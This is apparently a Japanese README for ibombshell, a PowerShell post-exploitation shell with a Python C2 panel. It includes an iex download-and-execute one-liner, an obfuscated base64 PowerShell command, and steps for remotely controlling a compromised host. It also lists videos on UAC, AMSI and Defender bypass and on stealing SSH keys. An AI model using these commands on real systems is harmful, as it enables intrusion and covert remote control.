ibombshell - 動的リモートシェル

      ,--.!,    _ ____                  __   _____ __         ____
   __/   -*-   (_) __ )____  ____ ___  / /_ / ___// /_  ___  / / /
 ,d08b.  '|`  / / __  / __ \/ __ `__ \/ __ \\__ \/ __ \/ _ \/ / /
 0088MM      / / /_/ / /_/ / / / / / / /_/ /__/ / / / /  __/ / /
 `9MMP'     /_/_____/\____/_/ /_/ /_/_.___/____/_/ /_/\___/_/_/

 [+] Starting the console...
 [*] Console ready!

ibombshell は、Powershell で書かれたツールで、いつでもプロンプトを利用でき、ポストエクスプロイテーション機能 (場合によってはエクスプロイト) を備えています。メモリに直接ダウンロードされるシェルで、多数のペンテスト機能へのアクセスを提供します。これらの機能は、Powershell 関数の形式でメモリに直接ダウンロードできます。この実行形式は everywhere として知られています。

さらに、ibombshell は Silently と呼ばれる第2の実行モードを提供し、ペンテスターは ibombshell のインスタンス (warrior と呼ばれる) を実行できます。侵害されたコンピュータは HTTP を介して C2 パネルに接続されます。そのため、warrior を制御し、ペンテスターを支援する関数をメモリにロードすることが可能になります。これはポストエクスプロイテーションフェーズ内で発生します。

前提条件

ibombshell everywhere を実行するには、PowerShell 3.0 以降が必要です。Windows 以外のオペレーティングシステムについては、PowerShell GitHub - PowerShell for every system! で詳細を参照してください。

ibombshell silently モード を実行するには、python 3.6 といくつかの python ライブラリが必要です。次のようにインストールできます:

cd ibombshell\ c2/
pip install -r requirements.txt

注記: ibombshell C2 は python 3.X で動作します。このバージョンに対応する pip を実行していることを確認してください。

使用法

ibombshell には2つの実行モードがあります:

ibombshell everywhere

ibombshell をロードするには、PowerShell で以下を実行します:

iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/Telefonica/ibombshell/master/console’)

次に、ダウンロードした ibombshell コンソールを次のように実行できます:

console

隔離環境での ibombshell everywhere

隔離環境で ibombshell を使用する必要がある場合は、まずネットワーク環境でコンピュータを準備する必要があります。必要なすべての関数をロードし、savefunctions を使用して Windows レジストリに保存します。

これで、この base 64 コードを使用して ibombshell を取得できます:

powershell.exe -E "JABwAGEAdABoACAAPQAgACcAaABrAGMAdQA6AFwAcwBvAGYAdAB3AGEAcgBlAFwAYwBsAGEAcwBzAGUAcwBcAGkAYgBvAG0AYgBzAGgAZQBsAGwAXABjAG8AbgBzAG8AbABlACcAOwAgAHQAcgB5ACAAewAJAGkAZgAoAHQAZQ
BzAHQALQBwAGEAdABoACAAJABwAGEAdABoACkAIAB7ACAAJABjAG8AbgBzAG8AbABlACAAPQAgACgARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgACQAcABhAHQAaAApAC4ATgBhAG0AZQA7ACAAYwBkACAAaABrAGMAdQA6
ADsAIAAkAG4AYQBtAGUAIAA9ACAAJABjAG8AbgBzAG8AbABlAC4AcwBwAGwAaQB0ACgAIgBcACIAKQBbAC0AMQBdADsAIAAkAGMAbwBkAGUAIAA9ACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACIAJABjAG
8AbgBzAG8AbABlACIAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARQB4AHAAYQBuAGQAUAByAG8AcABlAHIAdAB5ACAAUAByAG8AcABlAHIAdAB5ACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUA
YwB0ACAAewBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAcABzAG8AYgBqAGUAYwB0ACAALQBQAHIAbwBwAGUAcgB0AHkAIABAAHsAIgBwAHIAbwBwAGUAcgB0AHkAIgA9ACQAXwA7ACAAIgBWAGEAbAB1AGUAIgAgAD0AIAAoAEcAZQ
B0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiACQAYwBvAG4AcwBvAGwAZQAiACAALQBOAGEAbQBlACAAJABfACkALgAkAF8AfQB9ACkALgBWAGEAbAB1AGUAOwAgACQAYwBvAGQAZQAgAHwAIABv
AHUAdAAtAHMAdAByAGkAbgBnACAAfAAgAGkAZQB4ADsAIABjADoAOwAgAGMAbwBuAHMAbwBsAGUAOwB9AH0AYwBhAHQAYwBoAHsAdwByAGkAdABlAC0AaABvAHMAdAAgACQARQByAHIAbwByAFsAMABdAH0A"

ibombshell silently モード

このバージョンでは、ibombshell コンソールを実行し、Python で作成された C2 パネルからリモートで制御できます。このバージョンを実行するには、まず PowerShell でコンソールプロセスを起動する必要があります:

iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/Telefonica/ibombshell/master/console’)

ibombshell C2 のパスで、C2 を準備します:

python3 ibombshell.py

そして、warrior が接続するリスナーを作成します:

iBombShell> load modules/listener.py
[+] Loading module...
[+] Module loaded!
iBombShell[modules/listener.py]> run

デフォルトのリスナーポートは 8080 です。最後に、ホスト上でコンソールを silently モードで起動してリモート制御を取得できます:

console -Silently -uriConsole http://[ip or domain]:[port]

ibombshell C2 スキーム

ibombshell コントロールパネルの基本動作は次のスキームに従います:

        ibombshell                 C2
            |                      |
            |    newibombshell     |
            +--------------------->| --+ register
            |                      |<--+ from IP
            |    get functions     |
            |   and instructions   |
            +--------------------->|
            |                      |
            |    send functions    |
            |   and instructions   |
execute +-- |<---------------------+
        +-->|                      |
            |       results        |
            +--------------------->|
            |                      |

Docker

必要なものがすべて含まれた docker コンテナを作成しました。Dockerfile の場所から次のコマンドを実行します。

sudo docker build -t "ibombshell" .
sudo docker run -it ibombshell

サンプルビデオ

いくつかのサンプルビデオ...

iBombShell: PoC Warrior + Bypass UAC + Pass the hash

iBombShell: macOS

ibombshell: Extracting Private SSH Keys on Windows 10

iBombShell: PoC savefunctions

ibombshell - Silently bypass UAC Environment Injection

iBombShell - Mocking Trusted Directory

iBombShell - DLL generation

iBombShell - AMSI & Windows Defender Bypass

ライセンス

このプロジェクトは GNU General Public License の下でライセンスされています。詳細は LICENSE ファイルを参照してください。

連絡先

本ソフトウェアは「現状のまま」提供され、明示的か黙示的かを問わず、商品性、特定目的への適合性、および非侵害に関する保証を含む、いかなる種類の保証もありません。いかなる場合も、著作者または著作権所有者は、契約行為、不法行為、またはその他の行為に基づくかどうかを問わず、本ソフトウェアまたは本ソフトウェアの使用またはその他の取扱いから生じるいかなる請求、損害、またはその他の責任についても責任を負いません。ライセンスの通知を含むリポジトリに貢献する場合、あなたは同じ条件であなたの貢献をライセンスすることに同意し、あなたの貢献をそれらの条件でライセンスする権利があることに同意します。別の条件であなたの貢献をライセンスする別の契約（コントリビューターライセンス契約など）がある場合、その契約が優先されます。

このソフトウェアには QA プロセスはありません。このソフトウェアは Proof of Concept です。

問題がある場合は、以下に連絡してください:

[email protected]